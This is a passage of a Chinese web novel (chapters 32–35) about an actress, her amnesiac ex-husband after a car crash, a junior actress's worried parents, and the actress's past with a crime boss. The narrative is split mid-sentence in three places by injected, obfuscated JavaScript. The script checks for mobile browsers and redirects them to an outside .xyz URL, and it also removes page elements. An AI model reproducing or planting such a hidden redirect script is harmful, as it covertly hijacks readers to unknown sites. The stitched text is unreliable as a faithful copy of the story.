“他们哪儿管得了我啊。”他笑嘻嘻地低头,粗糙的纱线蹭过云灯的侧脸。“还是你来管我比较靠谱。” 云灯顺势拍了拍他的背,“乖。” 她本来就打算这几天对叶平川态度好一点。 毕竟是因为她才变成这样的,不管他难免亏心。 至于两人之间的事,反正他记忆正在逐渐恢复。他想到哪算哪,她也懒得解释太多。 “在车里等我一下,我去跟导演打个招呼就走。” “好。”叶平川安分地坐在车里等她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378305|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>梁天坐在司机的位置,趁机问了许多问题。他都很好脾气地回答。 “难怪啊难怪!”梁天十分唏嘘,“这也太巧了。唉,要不是我肠胃炎去医院挂水,说不定就没这遭事了。不过叶老师,你那么晚去京市是有什么事啊?” “嗯,是什么事呢。” 叶平川靠在沙发上,漫不经心的目光扫过车里那张单人床,不着痕迹地收了回来,“应该是非常重要的事吧。” “那可别耽误了。”梁天又说。“不然身体都遭罪了,还要有别的损失。” “没关系。”他说,“我有得是时间,不怕耽误,也不怕损失。” 说话间,云灯回到了车上。她已经脱掉了繁重的龙袍和冠冕,披着头发妆还没卸,手上仍戴着那只紫罗兰色翡翠镯子。 作为男女主角的定情信物,登基大典上她全程都戴着,还拍了特写。 “这个不是剧组道具吗?”叶平川主动问。 “是妈妈买给我的。上个月你才带来剧组给我,忘记了?”她抬起手腕晃了晃,“很好看吧?” 叶平川点点头,“你戴着是好看。” “她今天去看过你了吗?” “爸妈都来看过了。”叶平川说,“他俩各自玩了我一会儿,新鲜劲过去就懒得跟我说话了,让我在那自言自语,还嫌我话多。” 云灯:“……” 亲生的。 “人我也帮你处理了。”他冷不丁地说了个名字。就是制造车祸的罪魁祸首。 云灯恍然。 是在草原拍戏时她跟叶平川讲过的,那个倒插门玩得巨花还算计前妻的窝囊废。说实话,找人收拾他的时候,真没想到他会有这个胆子来报复。 狗急也会跳墙。 今天她在剧组也关注了一下新闻,没有任何车祸相关的消息流出。被叶家人封锁得密不透风。 “你就没有什么话想问我吗?”云灯拿卸妆巾擦拭眼睛,“人你应该不认识吧。” “没听说过。不过他们查出来已经告诉我了,你上几个月找人收拾过他,解救被他坑害没法离婚的前妻。” 叶平川十分欣赏地捧着脸,公正评判,“灯灯好。别人坏。” 云灯抿起嘴角,最后还是笑了出来。 这让她想起两人认识初期。叶平川好像有点崇拜她。 她有电影实绩,按资排辈叶平川都得叫她一声云灯老师,剧本里有拿不准的地方也会跟她请教。规规矩矩的,是真的很乖。 “这里还剩一点。” 叶平川一直看着她,到收尾时主动拿起卸妆巾,凑近为她擦掉眼角残余的眼线膏,忽然在她身上闻了闻,低声道,“怎么又要流血了。” 云灯也低头闻,自己没闻出什么不同,但记得很久之前他就说过,生理期快到的时候,她身上的味道会不一样。 “正好可以弄点补气血的药膳,”她说,“我们两个一起吃。” “好。”叶平川大鸟依人地挨着她的肩膀靠下来,“我今天很想你。” “想起什么了吗?” “睡觉的时候看见一片玻璃海,我们两个一起躺在吊床上,看小说。后来我先看完书,闲得无聊就摇吊床,掉下去吃了一嘴沙子。” “那是我们去度假,”云灯笑起来,“忘记哪一年了,应该是很早的时候。” 叶平川道,“还想起那时你亲了我一下,说想尝尝沙子是不是和海水一样咸。” 他仰起脸,有点渴望又祈求的眼神。云灯很难拒绝,低头和他交换了一个短暂的吻。 酒店到得太快了。 下车时他说不记得自己在哪个房间。云灯只好牵着他的手去,进电梯的瞬间就被抱了起来,双脚离开地面,条件反射地勾住他。 “很想你。”他又说。 于是炙热的吻从电梯延续到走廊,又踉跄进了房间。云灯抽不出空叫停,被他不知足的喘.息声撩拨得心痒。 叶平川提起的度假时光里,她当然也记得,他没说完的后半部分发生了什么。 沙子和海水的味道并不是最难忘的。那天黄昏,整片海滩都被两人私有,放纵肆意地做了许多海鸥都不好意思停留观看的事。 此刻她脑海中忆起的画面,大概率和叶平川的脑内小剧场正在高度重合。才足以解释,这样热情到令人无法抗拒的吻。 趁姨妈还没来,先来点别的也行。 她的默许是极大的鼓励。叶平川双手抱着她,一脚踹上了门。 被放在办公桌上时,云灯轻轻吸气,有什么东西硌到了腿。他随即停下来摸了一把,抽出一张小卡片。 是那张旧校园卡。 他又被校卡上那张稚气的小脸吸引视线。太可爱了,甚至让人对自己现在正做的事生出几分罪恶感。 “这个你也忘记了?” 云灯调整呼吸,从他手上拿起卡片把玩,不经意地试探,“是傅谦明叫人拿来给我的。” “……” “哦。负什么?”叶平川波澜不惊道,“好难听的名字。” 33. 第 33 章 云灯似笑非笑地看着他,“你不记得也好,免得大晚上又要跟我闹。” “我为什么会因为他跟你闹啊。”叶平川反问,“他是什么很重要的人吗?” 她也反问,“你到底是要做,还是要说这些没用的话?” “……” 不提还好。车上被他说过之后,小腹里那种姨妈欲来的酸沉感越发明显,云灯跳下桌子,“你这里还有棉条么?诶,肯定也不记得了。” 她说着就要回自己房间。叶平川想也没想地跟过来,隔着卫生间门跟她说话,黏人得像块牛皮糖,“来了吗?真的来了吗?” “没有,但以防万一我要放棉条。”时不待人。被打断后就没了兴致,她冷漠的声音隔着门传出来,“你自己解决吧。” 叶平川一愣,有点不好意思,“啊?在这里吗?” “……” 可惜只是失忆,不是转性。脸皮该厚还是很厚。 云灯顺便洗了个澡,收拾完出来看他还没走,正坐在地上低头看剧本。 “跟导演商量过了,会给你几天假。” “不用,我能拍。” 拖延时间会增加拍摄成本。云灯弯腰摸他的脸,“给我省钱?这么懂事。” 叶平川仰头蹭了蹭她的手,眯起眼睛,“背点台词而已,小意思。我可是过目不忘的。” 他长了张艺术生的脸,但在高二之前都没想过要走这条路,理科成绩稳稳的全校前三,关键天天放了学不是打球就是打游戏。 没怎么学都混成学霸了,认真起来还得了? 他对自己的智商向来很有信心。 叶平川是典型的靠脑子演戏的那派演员。他不见得有多高的表演天赋,但胜在学习能力超强,能够充分理解剧本想表达的内容,理解导演想要的效果。 就很吃角色。碰到好的班底他很容易大放异彩,没有的话,保底至少也不会出错。 看他不打算回去睡觉,云灯也没有赶人,坐下来跟他讨论明天的戏份。多耽误一天就多一天的成本,他能拍当然最好。 说着说着,不知怎么就又亲到了一块儿,从沙发亲到床上。只点火不给灭。 “不难受吗?”云灯偏头想要避开他,以免再亲下去收不了场。 “你不难受吗。”叶平川蠢蠢欲动。 “还好,”她镇定道,“反正我里面已经有一根了。” “……” 虽然话糙理不糙—— 但这话也太糙了。 叶平川像被戳中了笑穴,脸埋在她脖子里嗡嗡响。她痒得也跟着笑了,“差不多行了啊,别待会儿又笑出脑震荡。” 花了好久才安静下来。叶平川抱着她不松开,手臂横过她的腰,手指划拨着床上散落的发尾,绕出一个个小旋。 他好像很喜欢玩她的头发,像在画画。云灯忽然有点好奇他在想什么,却没有问。 长久的沉默之后,叶平川说,“这还是我这辈子第一次出车祸呢。看到我的样子,是不是很害怕?” 当时整个车祸现场就只有云灯和他两个人,他还是半死不活的昏迷状态。四舍五入她要自己待在那么恐怖的地方,处理紧急发生的状况。每一秒钟都是煎熬。 好在路口的位置不算偏僻,否则打电话叫救护车都要等很久。万一车烧炸了,后果更是不堪设想。 医院里的护理师告诉他,救护车到达之前,云灯曾试图把他从车里拖出来。 叶平川无法想象那时她的心情,手臂不自觉地收紧,直到她不舒服地动了动,才猛地回过神,松懈了大部分。 “没有很害怕。”云灯说,“我见过真正的尸体,不是你那样的。你还热着呢。” “……” “以后不要再做这么傻的事了。” 她推推叶平川,“你都不知道我是不是在车里。如果当时那辆车里是别人,你也会冲上去吗?” “哪儿有时间想是不是别人。我只要想到你有可能在里面,那就得冲啊。”他说完,又严谨地补了句,“我猜当时就是这么个情况。” “……早知道我就留在医院里陪小天过夜了,说不定就没这些事。” “揪出来也好啊,省得你一直被人惦记着。” 他缝针的脑袋还不安分地拱来拱去,语气轻松道,“这叫用最小代价解决了隐患,算下来咱俩还是赚的。” 话是这么说。可她的隐患,也应该用她的代价去解决才对。 他就这样轻而易举地用“咱俩”这种词代替掉了。 再去分什么你我,反倒显得人矫情。 “叶平川……”她是想说些什么的,开口后却演变成一声叹息。被他逮着了,美滋滋道,“干嘛?面对面躺着还是很想我吗。” “……” “我不会有事的。以前没有过,以后也不会有。你信不信?”他说,“等到了八十岁,我们还是能这样躺一块儿聊天。” “八十岁我都绝经了。”云灯又是一声长叹,“好想绝经啊。” 入睡前话题最终歪到了哪里,都不记得了,也没人在意。叶平川心底隐秘的担忧,在见到她的这个晚上无痕地融化。 活着真好,还能抱老婆睡觉。 他的四肢贴着云灯的身体,似乎就能和她血液流动的速度同步,和她的呼吸脉搏同频。像一截树杈上的两只苹果。 彼此安抚,浑然一体。 拍摄到了疲惫期,恰逢元旦,导演组商量着放一天假,给大家休息调整。 有了盼头,放假前的这几天,大家干活就更有劲了些。 这天云灯拍摄的剧情内容是皇女时期,言秋借由身边女官的帮助,看清了淑贵妃的真实面目。 这场戏也是剧中名场面,云灯,申雪舒和叶清都在。开机前大家在一起说说笑笑,叶清来得最晚,拍完后一分钟都没有多留,就独自离开了。 这几天事情多,夜店的那笔帐云灯还没来得及找她清算,反倒先听到了一些有趣的流言。 “最近组里好像有人在传我们搞小团体孤立她。”申雪舒要收工了,很松弛地双手环胸,对着她面前的化妆镜翻白眼。 “贵妃娘娘好手段啊,这么委屈的话建议她自己单开一个组。” “收声啦你。”云灯手里握着剧本,眼睛都懒得抬,“人哋睇到又要讲你雌竞。” “系咁?啦。”她笑嘻嘻地靠过来,“罩我啊大佬。” “少来。昨天叫我什么事?” 嬉皮笑脸的表情立刻垮了下去。申雪舒撇撇嘴说,“就元旦嘛。你知道的,这种节日傅谦明必定会来。我压力真的好大。” 她跟傅谦明的时间越久,就越能体会到普通打工人上班如上坟的心情。 从前大小姐的日子过惯了,现在要压抑天性地讨好男人,才能维持优越的生活。物质和自尊在天平的两边摇摇晃晃,也是折磨。 “你跟你父母的关系很好么?”云灯问。 “说不上有多好。只是前十几年他们给我很好的条件,现在轮到我弄钱给他们养老了,也无可厚非吧。” “嗯。”云灯又问,“如果你留在这儿,确定他们不会为了钱站在傅谦明那边,跟你作对么?” 她这是在想办法了。申雪舒眼睛一亮,即刻道,“不会的。他们现在心气也没那么高了,我拍戏挣到的钱足够一家人花销,只要能把他们接过来就行。” “好。” 导演在找了。云灯起身道,“晚上我再去找你。” “好!” 淑贵妃的阴谋暴露,给了言秋关键性的启发,也是影响她行为方式的转折点。 从前的言秋只是想参与政事,为百姓造福。然而亲眼见到这个女人的野心,是她第一次明确地意识到,谁都可以去争夺那个至高无上的权力宝座。 她也可以。 为了达到目的,她放下孤傲清高的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406371|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段,开始使用从前看不上的手段。这场戏就是她自导自演,让宫人将小皇弟推入池中,再亲自奋不顾身地去救。 当然,时机也要算得刚刚好,要让来御花园散心的皇帝亲眼看见。 这番操作成功地为她博得皇帝的青睐,也打消了她德不配位的疑心。言秋因此在一众皇嗣里逐渐脱颖而出,地位步步高升。 小演员有点怕水,要连哄带夸,才小碎步地挪到池边,反复确认,“不会真的把我推下去,对吗?” “对,等会儿叔叔轻轻地推一下,糯糯立刻蹲下就好了。”后期会替换成负重的人偶,靠剪辑手法以假乱真,只看背影看不出端倪。 但言秋救人的桥段是需要云灯下水的。这种戏重拍起来会很麻烦,服装师提前准备了好几套替换衣服。云灯蹲在池边,反复和摄像机确认位置,“争取一遍过。” 池子有点深。好在她会游泳,需要克服的就是寒冷天气和身上繁重的衣物。 商量了一会儿,她们发现这样的条件下下水,没有可以在镜头中保持优雅精致的好方法。 很多导演都希望自己的镜头里填满对美的呈现,因此可劲儿折腾演员。尤其是对女演员来说,上镜美丽等同于吸烟刻肺的规训。 “偶尔也要允许自己狼狈。”邓晓琼对她说,“咱要登基的人,成大事者不拘小节。放开去扑腾吧,不管怎么样都一次过。” 有了这句话,云灯的拍摄阻力减少许多,在池边活动热身片刻。机器一开,替身人偶被推了进去。她紧随其后,毫不犹豫地纵身跃入池中。 刺骨的池水顷刻间浸透五脏六腑,她做足了心里准备,还是冻得手脚发麻,牙齿打颤,奋力游过去,抓住即将沉没的人偶往水面上提,“莫怕,皇姐抓到你了,没事的。” 身体冻僵不听使唤,往回游的两米距离她扑腾了快一分钟。等她上岸邓晓琼立刻喊卡,移开人偶,让小演员躺进她怀里。 拍完这一场才知道什么叫透心凉。她把能脱的外袍都脱了,裹着厚重的羽绒服去车上换衣服。 梁天跟着一路给她头发吸水,恨不得把自己也裹她身上,“我看到车上有棉条,姐你例假来了吗?怎么不跟导演说呢。” “就这一点,没必要。”她说,“这不是拍得挺快的吗。” “唉……”梁天欲言又止,还是先说了正事,“刚才来了一对夫妻,到酒店前台找你。我不认识他们,但是看着有点来者不善,请他们换个地方也不肯,就在大堂坐着要等你收工。” “什么模样?”云灯问。 “就……看着也挺体面的,像知识分子。但是脸色不好。”梁天如实道。“感觉像来找事的,要不我还是捏个理由把他们打发走?” “没关系,我去见一见。” 她心里大概有数了,拿手机发了两条微信。正遇上叶平川大步流星,一身重臣朝服,锦袍玉冠地往她这边走。 “怎么一身的水?”叶平川走到她身边,神情微变。“救人的那场不是下周才拍么。” “小演员着急回家上补习班,最后一场就提前拍了,正好今天景空着。” 云灯花了零秒意会到他忽然出现的原因,视线在他身上扫荡一圈,竖起大拇指,“哇,今天这么帅。” “今天补拍新皇登基的那场戏。”叶平川已无心耍帅,催促道,“好了,你快上车,把水擦干再换衣服,喝点热的暖暖。” 拍完戏带着妆造跑这么远过来,就为给老婆看一眼帅帅的自己么。 梁天死死抿住要上扬的嘴角,打开车门。 “好,那我就先回酒店了。”云灯说,“你等下坐剧组的车走吧。” 叶平川有点意外,语气也变得失落,“啊?你不等我了。” “我得快点回去冲个热水澡,免得感冒。” 她上了车又转过身来,站在台阶上伸手摸了摸叶平川的脸,温柔道,“乖。万一我感冒了,传染给你也会难受的。” 34. 第 34 章 叶平川迷糊了两秒,还是很快地反应过来,疑心颇重,“这么急着回去是有事?你往房间里藏小男孩了?” “怎么会呢。”云灯大方地把房卡给他,“待会儿你可以亲自看一下。” “你不回去休息吗?” “还有个客户要见。”她说。 这么说不太准确,应该算是员工家属。 接到消息,孟瑜已经在安慰自己忽然造访的父母。但见到云灯的瞬间,年近半百的两位还是又情绪激动起来,冲上前都快给她跪下了,“求求你,放我女儿走吧!” “……” 好像她是什么黑心糟肺的恶霸老板。人来人往的酒店大堂里演这一出,难免令人侧目。 “叔叔阿姨不要太伤心了,对身体不好。”云灯扶住孟瑜的妈妈,放轻声音安抚道,“我们先上楼,去房间里说好吗?我理解你们的苦心,所有事情都可以谈。” 孟瑜红着眼眶,小声地对她说对不起。 “没事的,好了别哭了,过来扶一下爸爸。”云灯抽空还摸了摸她的后脑勺。这只手似乎有魔力,给大脑传导镇定的情绪信号,让她从焦虑和茫然中振作起来。 “什么情况都不用怕,跟我说。我们可以一起商量出一个解决方案。” 孟瑜父母是体制内的老师,在老家稳定又体面,半辈子都没有接触过大城市里的风浪。就这么一个宝贝女儿,自然也希望她毕业后能回家找份好工作,顺顺当当地结婚生子。 当初孟瑜说要进娱乐圈,两人就顾虑颇多,吵了好几次,才不得不对孩子妥协。 前番夜店里的遭遇,孟瑜自己总是忍不住回想,做了两宿噩梦,状态很差。和家里通电话时不小心说漏嘴,更是令父母又惊又怕,连夜坐高铁赶过来,说什么也要带女儿回家。 “你们这圈子是能人辈出的地方,不是谁都能如鱼得水的。我们小瑜从小被娇惯着长大,哪里有那么多心眼呢,动不动就要出事了。” 孟瑜妈妈边抹眼泪边说,“不是想给你添麻烦。只是我们就这么一个女儿,她要是被人欺负有个三长两短,我们做父母的也真是活不成了。” “嗯,做父母的都心疼孩子。我明白。”云灯静静地听完,转而问孟瑜,“你怎么想呢?” “我,我想……但是……”孟瑜咬了一下嘴唇,“但是,这部剧还没拍完。现在退出要很多违约金的吧?我跟公司签的合同还有三年,也不能说走就走啊。” “我跟你爸爸回家去筹钱!”孟瑜妈妈毅然决然道。 “今天既然来了,也不怕得罪你老板。有多少钱我们都出,哪怕卖房子,贷款都给你还上!你不要操心这些,跟我们回家。” 孟瑜张了张嘴,神情动容,又有些习以为常的心酸。 可以想见,此前二十年的人生她都是被这么毅然决然地保护着长大的。 像被困在一张柔软却坚韧的蛛网里。如果反抗,就会辜负每一根丝线交织的心血。 “阿姨说笑了,哪有什么得罪不得罪的。” 云灯柔和道,“违约金这些都可以商量,咱们也没必要为一些死板的条条框框闹得难堪。关键还是要真正地对孩子好,尊重她的意愿。对不对?” 余光里孟瑜的脸一点点涨红。的确像个心虚的孩子。 她在父母和云灯的注视中说不出话来,用力地攥着膝盖上的裙子,又羞愧于自己这样孩子气的反应。 同样是在二十出头的年纪,云灯已经红得一塌糊涂,而她…… 她闯荡娱乐圈,发誓要成为大明星的雄心壮志,被现实泼出的一盆冷水浇得只剩一点点火星子了。 那晚的记忆仍在她的脑海深处翻涌。她信任地接过了朋友端来的酒,喝下之后天旋地转。仿佛有很多只手在触碰她,湿热粘腻,像黑色的水泥把她吞没。 她不知道在成为大明星的路上,还要趟过多少个类似的,或是更凶险的泥潭。 但清楚的是,只要现在后退一步,就有父母兜底。再也不用担心噩梦重演。 似乎是简单的选择。 可她为什么,就是,说不出话来呢。 云灯看了她一会儿,没说什么,起身去门口给导演打电话。 身后的房间里,孟瑜父母苦口婆心地劝说女儿的声音隐约传来。 她跟邓晓琼大致说了现在的情况,得到一声长叹,“这一天天的,消停不了半点。” “剧组就是这样的啦,什么状况都可能发生。要习惯啦富姐……啊,富导。”她笑道,“以后再拍戏,这都是经验。” “你倒是很淡定。”邓晓琼说,“好吧,等我收工也去见见小朋友的家长。起码让她把剩下的拍完再走吧,忽然撂挑子不干了我上哪儿找人去啊。” “不会的。”云灯说,“我先在这儿稳着,你拍完再过来不要急。” “行。靠你了。” 挂掉电话,云灯揉了揉眉心。 她只在车上临时换了衣服,但在池水里泡过的感觉似乎还积在骨子里,现在都一阵阵发冷。 眼下这边显然是走不开人。她索性就跟孟瑜要了件衣服,直接在这边冲个热水澡缓缓。 孟瑜父母在外面小声嘀咕,“你这老板看起来还挺好说话的,人也没什么架子。” “我老板就是很好啊!”她急道,“你们连声招呼都不打就冲过来,兴师问罪的,给别人多下不来台啊!她这几天本来就忙得脚不沾地了。” 孟瑜爸爸说,“坏丫头,我们为你都操碎了心了,你反而帮外人说话?” “好了!别说她了。”孟瑜妈妈搂着她,心疼道,“她也吓坏了。” 一般的小姑娘哪个用得着受这种惊吓,太遭罪了,得接回家去好好补补身子才行。 孟瑜父母要把女儿带走的意愿无比强烈。但项目已经进行过半,再让段婉心换人来演很麻烦,要补拍很多镜头,还涉及其他演员的调度问题,损失太大。 云灯故意把违约金提高了一等,说出来看两口子也面露难色,便顺势提出折中的方案。 “我们可以让组里的编剧改剧本,删减段婉心的剧情线,但为了保证角色的完整性,小瑜还是需要回来拍摄到结局。毕竟咱们平时作为观众,看电视剧也不希望有角色莫名其妙地失踪吧?播出后演员说不定也会被骂。” 这个小家庭的话语权掌握在孟瑜妈妈的手上。云灯看得出来,便坐在她身边,拉着她得到手晓之以理,动之以情。“我会让编剧尽量控制,让她剩下的戏份在一周内就能拍完。这样剧组的违约金您就不用付了,我们也好完成工作。” “这……”孟瑜妈妈眉头舒展,“这似乎还说得过去。” “嗯。至于和公司的艺人合约,就更不用着急了,我们可以之后再慢慢谈。” 云灯善解人意道,“您先把女儿带回家好好休息几天,她第一次拍戏,是挺累的,在组里待了这么久肯定也想家了。等我们剧本改出来再联系您。” 如此安排,两边的问题都能被妥善解决。邓晓琼背着手朝她竖了个大拇指,又跟着安抚几句,就马不停蹄地去找编剧通宵开会。 云灯也要走时,被内心不安的小女孩拉住,又说了对不起。 “不需要和我道歉。”云灯对她说,“遇到这种情况,慌乱再正常不过。怎么选都可以,你有支配自己人生的权力。” 孟瑜点了点头,又抱着她,轻声地抽噎,“那我,万一……还有机会回公司吗?” “还有时间。” 云灯拍拍她的背,“先回家休息几天,好好考虑以后要不要走这条路。擦干眼泪,理清思绪再做决定。未来的路谁说了都不算数,必须要你自己来拿主意。明白么?” “嗯……我明白的。” “那就好啦,进去休息吧。早点睡。” 云灯和她告别,轻轻带上了门。 虽然有点小插曲,好在还能料理得来。她想抽根烟,但叶平川应该就在房间里等她,被闻出来又要嘀嘀咕咕了。 看了一眼时间,她走进电梯,直接去申雪舒的房间,按门铃。 应门的速度很快。申雪舒端着酒过来,开门的瞬间,高脚杯直接塞进她手里,ein!” “……” 醒好的红酒在玻璃杯里荡起涟漪。云灯接过一饮而尽,重重地吐出酒香。 “Alongfuckingday.” ** “你穿着谁的衣服?”申雪舒看到她身上的卡通印花卫衣,露出嫌弃的眼神。 “好纯真的设计,像回到了还没开始长青春痘的年纪。” 云灯骂了声闭嘴,杯子递给她再去倒酒。随便找了块地方躺平,在蓬软的毛绒毯子上摊开四肢。 跟申雪舒混在一起的时间久了,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云灯又倒上酒,苦饮一杯,“不好意思,怪我把情人的标准拉高了。” “什么啊,你以前替傅谦明做事?”申雪舒凑过来,看她有些疲倦地闭上眼睛,大胆地拍了拍她发烫的脸,“醒一醒,先不要醉。告诉我该怎么做?” 云灯拉开她的手,“装傻吧,假装不记得他说过的话。前天说的话今天就忘,拖延时间。” “哦哦,还有呢?还要做什么?” “……” 没有得到回答。她猛地意识到自己太过分,立刻捡起了良心,殷勤地帮云灯捏肩,“我大概知道怎么做了。差点忘记你今天很累了,不能这么烦你,不好意思哦老板。这个力可以吗?” 云灯失笑,睁开眼睛,“在傅谦明身边,有没有人说过你和我像?” “有啊。总跟在他身边的那个锅盖头花臂男就说过。”申雪舒说,“其实我刚见你的时候就觉得我们俩长得像了,不过没敢提。估计你也不乐意听吧。” 她们两个长得像,是因为傅谦明的个人审美,就爱找这一挂的。 “什么样的锅盖头,”云灯似乎对这人有点兴趣,“是不是看着像想学韩国欧巴没学好,被牛舔了似的那种顺产发型?” “对,你也认识他?我记得好像叫……” “黑K?” “对!” 云灯蓦地笑出声来,“他怎么还没放弃那个发型啊。” 她的语气像是怀念,但情绪比那更复杂。申雪舒没有放过和她变亲近的机会,问,“是你的朋友吗?他肌肉很夸张诶。” 云灯摇头,“不算是。” “但是有次提起你——就那一次,他说到你的时候,看起来跟你现在的表情好像。感觉你们蛮有交情的才对。” 申雪舒想了想,又说,“对了,他为什么叫你小潘姐啊?是你以前的外号吗?” 云灯感到一阵无名的燥热,抓起后颈汗湿的长发,随手拨到一边,被酒精浸润的嘴唇柔软而艳丽,微微抿起。 沉闷的空气像是回到八月份的港市,她在那里,交出了一份惨痛的投名状。 面前的女孩跟彼时的她差不多年纪,眼神清澈,相似的面孔上有着纯粹的好奇。 她有一瞬的恍惚,回过神自嘲地笑了笑,伸出手。 “潘云灯,幸会。” 35. 第 35 章 申雪舒双手握住,“幸会幸会。” 云灯抽出手,忽然凑近掐住她的下巴抬起,指尖细细摩挲,“你知道吗?其实我们以前长得更像,在我整容之前。” 她被迫仰起脸来,直视着近在咫尺的另一张漂亮脸庞。美貌的冲击力无限放大,她难以遏制地心跳加速,几乎无法理解云灯在说什么,注意力全都在她会不会下一秒就要亲上来,“整,整容?你做过?” 云灯亲昵地点了一下她的鼻尖,“嗯。” 那时候傅谦明身边出了个叛徒,是个跟了他好几年的亲信,但被对家收买了要暗杀老主顾。 她刚到港市,急于在傅谦明身边站稳脚跟,什么危险的事都敢去做。她帮傅谦明挡掉了致命伤,代价是摔下楼梯鼻梁骨折,差点毁容。 “可是你愈合得很好。”申雪舒不可思议地打量她,“完全没有痕迹啊!” 手术修复后她的鼻梁更直挺,多了一点英朗的少年感。搭配一双圆钝的眼睛,糅杂出似正似邪的气质。 这种独特的气质在《潮夜》里被黑长直造型衬托得十分突出,使得她区别于当年流行的其他清丽柔美的女性角色,得以一炮而红。 同时,她也如愿得到了傅谦明的重视。一战成名,黑K那群人见了她都得叫声小潘姐。 一群从打手混上来的保镖都没能第一时间冲上去护主。谁也想不到,傅谦明身边那个看起来弱不禁风的情人居然能连命都不要。 啊,一定是爱惨了他。 “我那时候没想过会离开他。”云灯说。 虽然他很明显不是个好东西,做的生意也不干净。但这天底下哪有什么好人呢?她为自己选了一条难回头的路,没想过能再抽身出去。 既然打定主意要这么活,那她就要做傅谦明身边最核心,最重要的人。他身边的人那么多,她必须要足够豁得出去,才能得到重视。 不是可有可无,随时都能扔掉的玩物,而是放不下,离不开。 现在回想,真是天真得愚蠢。 她或许也算是做到了,可太高估傅谦明。 毕竟畜生眼里全世界都是畜生,永远也不会把她当人看。 “你那时候很爱他吗?所以什么都可以为他做。” 申雪舒果然也和其他人一样,把她的行为美化得很浪漫。 云灯每每听到都很想笑。 哪有什么爱不爱的,她只要利益。只有物质带来的安全感是切实的,除此之外全是空响。 傅谦明也的确给了她很多。房子,跑车,游艇和珠宝,要什么给什么。说实话在他身边拍两句马屁,假装爱到离不开哄他高兴,比在这儿苦兮兮地拍戏来钱快多了。 很可惜,那些东西到最后她都没能带走。 “那他……也给你拍过那种照片吗?”申雪舒犹豫着问。 这是一直在折磨她的问题之一。她从云灯的眼里看到肯定的答案,但却无法松一口气。 甚至因为站在相同的立场上,她觉得以云灯的状况,心里应该会比她更担忧,“你怕不怕他把照片发给你老公看?” 云灯嗤地一声笑了,身体向后仰,嗤笑也变成了哈哈大笑。仿佛她问了个很傻的问题。 “谁是我老公?” 申雪舒被笑得摸不着头脑,“就,叶平川啊。” “我们已经离婚了。你在旁边看了这么久,居然还没发现?”她说,“那些照片算得了什么。他爱看就看,反正我那时候身材也很好。” 她苍白纤细的脖颈,因为大笑而鼓起青紫色的血管。申雪舒怔怔地望着,觉得她很像个治不好的病人,即使有出院的一天,也会被后遗症折磨。永远消瘦,永远清醒。 “你知道吗?”云灯出乎意料地说,“其实我在那边,也有过一个朋友。” 申雪舒没想过她会倾诉,立刻点点头,认真地倾听,“是什么人?” “是个小女孩,真的很小,脸圆圆的,齐耳短发。身上特别瘦,又黑又黄。” 云灯抿了一口酒,连续咳嗽了好几声,才又接着说,“她老家在一个临港的小渔村里,爸妈欠钱还不起,把她送来抵债。傅谦明又把她给了我,做陪读,做保姆。她脑袋有点木,但是很崇拜我,很会逗我开心,不知道是想要讨好我,还是真的很喜欢我。” “我跟她一起住,一起吃喝,买衣服也给她挑好看的。她很快就长大了,身高跟我差不多,脸还是圆圆的,一直留着短发。我没有让她做任何工作,也没有让她去上学,只是陪着我,像养一只小狗一样养着她。骆迎春,我叫她小花,因为迎春不像小狗的名字。” 申雪舒想接话,但不好评价,“算是你的跟班?” 云灯没有理会她,自顾自地说,“其实我不太喜欢出门,偶尔才带她去餐厅吃饭,然后去购物,一次性买齐整个季度的新衣服。其余大部分时间我都待在家里,上网课或者睡觉,她很乖,都不会来吵我。有时候我想吃什么,外卖点不到,她可以跑半个港市亲手买回来喂我。你能明白吗?就像小狗对主人全身心地奉献。” “但是每次我跟傅谦明一起外出回家,或者他留下过夜之后,她都会露出一种我看不懂的眼神。很奇怪不是吗?她的脑筋简单得像单行道,居然也会有我看不懂的时候。” “有一天,她郑重地对我说,人应该去没有天花板的地方撒野。不知道是在哪片互联网冲浪看来的文案,但她非常笃信,说我应该到外面去。外面天高海阔,会有比这栋大房子更好,更适合我的地方。” “啊……”云灯怀念着那一刻石破天惊的心悸,“她原来不是小狗啊。” “她是在心疼你。”申雪舒说。 不知为何,她听得心头泛起酸涩。但在傅谦明周围,她并没有见过骆迎春这样的女孩,也没听说过,“后来你离开了港市,她没跟你一起走吗?” 云灯摇头,“她死了。” “……什么?” “我的小花死了,好几年前。但我一次也没有回去看过她。” 申雪舒不知道该用什么表情面对她,目光落在哪里才不会显得太冒犯。 “你是什么时候知道她……不在了的?” 既然已经逃出来了,她再打听那边的消息应该就没那么灵通,或许是传讯有误也不一定。 “在我的婚礼上。”云灯平静地说。 “我和叶平川结婚的那一天。” ** 傅谦明盛装出席了她的婚礼。 他可用的名头有很多,轻易就能扯上关系,直接或间接地和叶家有生意往来,拿到一封邀请函。 婚礼豪华又盛大,请了无数宾客和媒体。叶平川不会想到,在数十页的宾客名单里还藏着这么一个人。即使是打过照面,他也未必记得。 